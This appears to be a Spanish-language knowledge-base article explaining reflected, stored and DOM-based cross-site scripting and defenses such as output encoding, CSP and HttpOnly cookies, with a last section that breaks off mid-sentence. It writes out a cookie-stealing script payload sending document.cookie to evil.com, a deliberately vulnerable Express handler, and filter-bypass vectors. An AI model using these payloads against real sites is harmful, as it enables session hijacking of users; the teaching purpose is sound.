Cross-Site Scripting: Por qué XSS sigue siendo un problema en 2024
Un desglose práctico de XSS reflejado, almacenado y basado en DOM, cómo los atacantes los explotan y cómo detenerlos realmente.
XSS ha estado en el OWASP Top 10 durante dos décadas y sigue siendo una de las primeras cosas que comprueba un pentester. El bug es simple de explicar y molesto de cerrar completamente: un atacante logra que su JavaScript se ejecute en el navegador de la víctima bajo el origen de tu sitio. Una vez que sucede eso, pueden leer cookies, falsificar solicitudes o simplemente reescribir la página frente al usuario.
Los tres tipos
XSS reflejado es el ataque clásico de enlace de phishing. Una página de búsqueda toma ?q= de la URL e imprime directamente en el HTML sin codificar. Envía a alguien un enlace como https://shop.example/search?q=<script>fetch('https://evil.com/steal?c='+document.cookie)</script> y si hace clic mientras está conectado, su cookie de sesión va al atacante.
XSS almacenado es peor porque no requiere ningún enlace. Un campo de comentarios, una biografía de perfil, una descripción de ticket de soporte — cualquier lugar donde la entrada del usuario se guarde y luego se renderice para otros usuarios. Publica el payload una vez y cada visitante que vea esa página recibe el ataque, sin necesidad de ingeniería social.
XSS basado en DOM existe completamente en código del lado del cliente. El servidor nunca ve el payload malicioso; es JavaScript leyendo algo como location.hash o document.referrer e insertándolo en innerHTML o eval(). Este es problemático porque el registro del lado del servidor se ve completamente limpio.
De dónde viene realmente
La mayoría de los bugs de XSS se reduce a un error: tratar datos no confiables como marcado o código confiable. Los destinos comunes a vigilar en JavaScript: innerHTML, outerHTML, document.write, eval, setTimeout con un argumento de cadena y el .html() de jQuery. En el lado del servidor, los motores de plantillas que no escapan automáticamente de forma predeterminada (concatenación de cadenas sin procesar en HTML) son los culpables habituales.
Un ejemplo rápido del mundo real: una aplicación Node/Express haciendo
app.get('/greet', (req, res) => {
res.send(`<h1>Hello ${req.query.name}</h1>`);
});
tiene un XSS reflejado inmediato. req.query.name va directamente a la respuesta sin ninguna codificación. Cualquiera que acceda a /greet?name=<img src=x onerror=alert(document.domain)> lo comprueba en aproximadamente dos segundos.
Arreglarlo de verdad
La codificación de salida consciente del contexto es la solución real, no una solución alternativa. Los contextos de cuerpo HTML, atributo HTML, cadena JavaScript y URL necesitan reglas de codificación diferentes — una biblioteca como Java Encoder de OWASP o auto-escape integrado en motores de plantillas como Jinja2, React JSX o Handlebars, lo maneja correctamente. React en particular escapa del contenido de texto de forma predeterminada, por eso dangerouslySetInnerHTML se llama así: es una etiqueta de advertencia.
La validación de entrada ayuda pero no es suficiente por sí sola. La lista negra de etiquetas <script> se omite constantemente — <img src=x onerror=...>, <svg onload=...> o manejadores de eventos en casi cualquier etiqueta funcionan. La lista blanca de formatos esperados (una expresión regular de correo electrónico, un ID numérico) está bien como capa secundaria, pero no reemplaza la codificación de salida adecuada.
Content-Security-Policy es la capa de defensa en profundidad más fuerte disponible. Una política como
Content-Security-Policy: script-src 'self' 'nonce-r4nd0m123'; object-src 'none'; base-uri 'self';
bloquea scripts en línea y fuentes de script de terceros a menos que estén explícitamente incluidas en la lista o tengan un nonce, lo que detiene la mayoría de los payloads de XSS incluso si se escapan de la codificación. Evita unsafe-inline y unsafe-eval en CSPs de producción; anulan la mayor parte de la protección.
Establece cookies con las banderas HttpOnly y Secure para que incluso un XSS exitoso no pueda leer directamente la cookie de sesión a través de document.cookie. No detiene la inyección pero limita considerablemente el radio de daño.
Pruébalo tú mismo
El scanner activo de Burp Suite detecta automáticamente muchos casos de XSS reflejado y almacenado, pero las pruebas manuales aún importan para casos basados en DOM. Herramientas como el propio conjunto de pruebas de DOMPurify o simplemente hacer grep en tu base de código para innerHTML = y eval() descubrirá una cantidad sorprendente de hallazgos rápidamente. Para una prueba manual, el payload `
Escrito con asistencia de IA, revisado y publicado por Michal Pilch (CISSP), Korra Studio.
Esta es una nota de la base de conocimiento de Korra Studio — la plataforma combina cada tema con mentoría 1 a 1.
Empezar gratisarrow_forward